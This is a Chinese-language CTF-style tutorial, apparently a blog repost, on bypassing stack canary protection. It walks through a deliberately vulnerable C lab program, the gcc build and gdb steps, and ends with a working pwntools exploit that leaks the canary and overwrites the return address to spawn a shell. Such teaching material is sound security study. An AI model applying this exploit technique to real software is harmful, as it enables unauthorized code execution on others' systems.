![b950c517ee736e13010e6a0c00106b7e.png](https://i-blog.csdnimg.cn/blog_migrate/987afa0caf0fe65c25fbe917ef682e2d.jpeg)
栈溢出原理:
栈溢出主要是指向某个变量输入的字节数超过了这个变量向系统空间所申请的栈空间,形成了栈溢出,导致与其相邻的栈空间中的值发生了改变。而我们对于栈溢出的利用方法也是抓住这一点,通过栈溢出进而覆盖跳转类指令(例如ret)所需的eip、ebp值,从而达到劫持控制流的目的。而canary便是属于一种防护栈溢出的手段。canary保护原理:
当用户开启canary时,系统会在函数开始前先想栈中插入一个cookie,当函数结束,栈帧销毁前会检测栈中cookie值是否被改变。 下面我们通过观察x86架构的局部栈帧结构来理解canary保护。![4b8071bfaca993eb66e5d120be78cd1a.png](https://i-blog.csdnimg.cn/blog_migrate/814dbaaa3f088e68e372c4afaebaca49.png)
//插入cookie的值
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax
//xor比较cookie值是否改变
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7
call 0x400460 <__stack_chk_fail>
如下图,为某函数开始前插入cookie时的操作,
p/x $eax 序言部分查看canary的值,这个canary值会随着每次程序运行进行改变,即它是不固定的!
![cd9327ca1d6a45ac79b5ee39e0d97183.png](https://i-blog.csdnimg.cn/blog_migrate/9130763ed9b54a732d424e74cc1a490e.png)
关于canary的原理讲了这么多,似乎很牛X的样子,那么我们有没有什么办法可以绕过这玩意儿呢?
![da2c0eec31a351bc145bd85c0a794a02.png](https://i-blog.csdnimg.cn/blog_migrate/f5ae7c2d39c3abb7d7cb3236d0f6f269.png)
- 爆破canary
- 如果存在字符串格式化漏洞可以输出canary并利用溢出覆盖canary从而达到绕过
![f357b2252e5a58fcd897b163bd259c9b.png](https://i-blog.csdnimg.cn/blog_migrate/2e97beb920da227fbafd04ffece3c144.png)
//canary.c
#include
#include
#include
#include
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
使用如下命令编译程序:(默认开启 NX,ASLR,Canary 保护)
gcc -m32 -no-pie canary.c -o canary.exe
gcc编译指令解析:
-m32 指的是生成 32 位程序;
-no-pie 关闭PIE(Position Independent Executable)
-o 指定输出文件
如下,编译成功
![0bdbb99ffbdc2022190edab3565bd7c5.png](https://i-blog.csdnimg.cn/blog_migrate/d213b482d7c40cefab87c2313c4a65af.png)
泄露思路:
Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。
这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。
—来自ctf-wiki :https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/
leak过程
gdb canary.exe 进行程序调试,输入r进行运行程序 如下,下一步输入S将会进入vuln函数。![16b10fb796984cf4303bcbd4988a6a72.png](https://i-blog.csdnimg.cn/blog_migrate/a565d0ad3aaea787893f173534ad2b17.png)
![984f65cac98d87784539d306e897e252.png](https://i-blog.csdnimg.cn/blog_migrate/6e81cdd6ae7836d0be193b318d64d0be.png)
![60e7795db920368044c5f4fadbb6a747.png](https://i-blog.csdnimg.cn/blog_migrate/4215762885de4273c4be03c72f481c43.png)
讲了这么多终于到了payload构造的时刻了,突然还有点小激动了呢!哎呦哎呦~~
![b87febaf3cb1afd893b812900c493c06.png](https://i-blog.csdnimg.cn/blog_migrate/bbe99a7b63b17d6807485d60a2fef0eb.png)
原理:
结合上述堆栈图,我们可以构造 payload=”A”*100+canary值+unknown+ebx+跳转地址100是因为&buf所占空间为100 我们可以溢出值cookies的低地址,然后通过printf(&buf)获取泄露出来,然后再构造到payload中,跳转地址我们这里可以设置为getshell函数的地址。payload:
具体python代码构造如下:
#!/usr/bin/env python
from pwn import *
context.binary = 'canary.exe'
#context.log_level='debug'
io=process('./canary.exe') #本地程序交互
get_shell = ELF("./canary.exe").sym["getshell"] # 获取getshell函数的起始地址
io.recvuntil("Hello Hacker!\n") #读取字符串“Hello Hacker!”
#leak Canary
payload = "A"*100 #buf所占栈空间长度为100
io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xa
io.recvuntil('A'*100) #读取输入的字符串100个A
Canary = u32(io.recv(4))-0xa # 这里减去0xa是为了减去上面的换行符,得到真正的 Canary
log.info("Canary:"+hex(Canary)) #输出Canary保护中cookie的值
#Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)# 使用getshell的函数地址覆盖原来的返回地
io.send(payload)
io.recv()
io.interactive()
文章over了,看到这里了,如果各位看官点个赞再走呗~~,如果您有一些其他的想法,欢迎评论区留言啦!咱评论区见,等你哦~~~
![34c7bb188f5b5ef67f9ac20ee81ebcc0.png](https://i-blog.csdnimg.cn/blog_migrate/a6ba427fa6d8955f821c43a069bccff5.png)
![b7f70cc6b36368b133205099c8d54869.gif](https://i-blog.csdnimg.cn/blog_migrate/e8500c595db2f4e49ec5768fb6442be4.gif)
![5e0bbe2fce4189d9f4afea077ef3dc72.png](https://i-blog.csdnimg.cn/blog_migrate/bce126dee447735c18847a336aa32d8a.png)
号外号外!
【ISC情报周刊-第一期上线啦!】
ISC情报周刊是由ISC大会、360网络安全响应中心和安全客联合出品的每周安全情报视频资讯,以视频的全新展现形式带大家领略每周的重大安全事件和安全资讯。欢迎关注ISC情报周刊获取精彩内容!
今天都有哪些资讯?一起抢先看看吧~
![d825d8fc5163fe129f2045ccf4295960.png](https://i-blog.csdnimg.cn/blog_migrate/c1206c69737618797b29c50b4b648c5f.png)
![18e535b665f31e9aef8fc9659ed1291a.png](https://i-blog.csdnimg.cn/blog_migrate/ce7254a69184068ef7c58f24c4841223.png)
- End -
精彩推荐
Wordpress File-manager 任意文件上传漏洞分析
一键 Shell,我的 OSWE 之旅
数据中心巨头Equinix遭遇勒索软件攻击,被勒索450万美元
快报!英国纽卡斯尔大学遭受DoppelPaymer勒索软件攻击,导致大量数据发生泄漏
![d739dfd561220279608844af92540052.gif](https://i-blog.csdnimg.cn/blog_migrate/29c4199e549f2c7ad7b24f8ce77823d2.gif)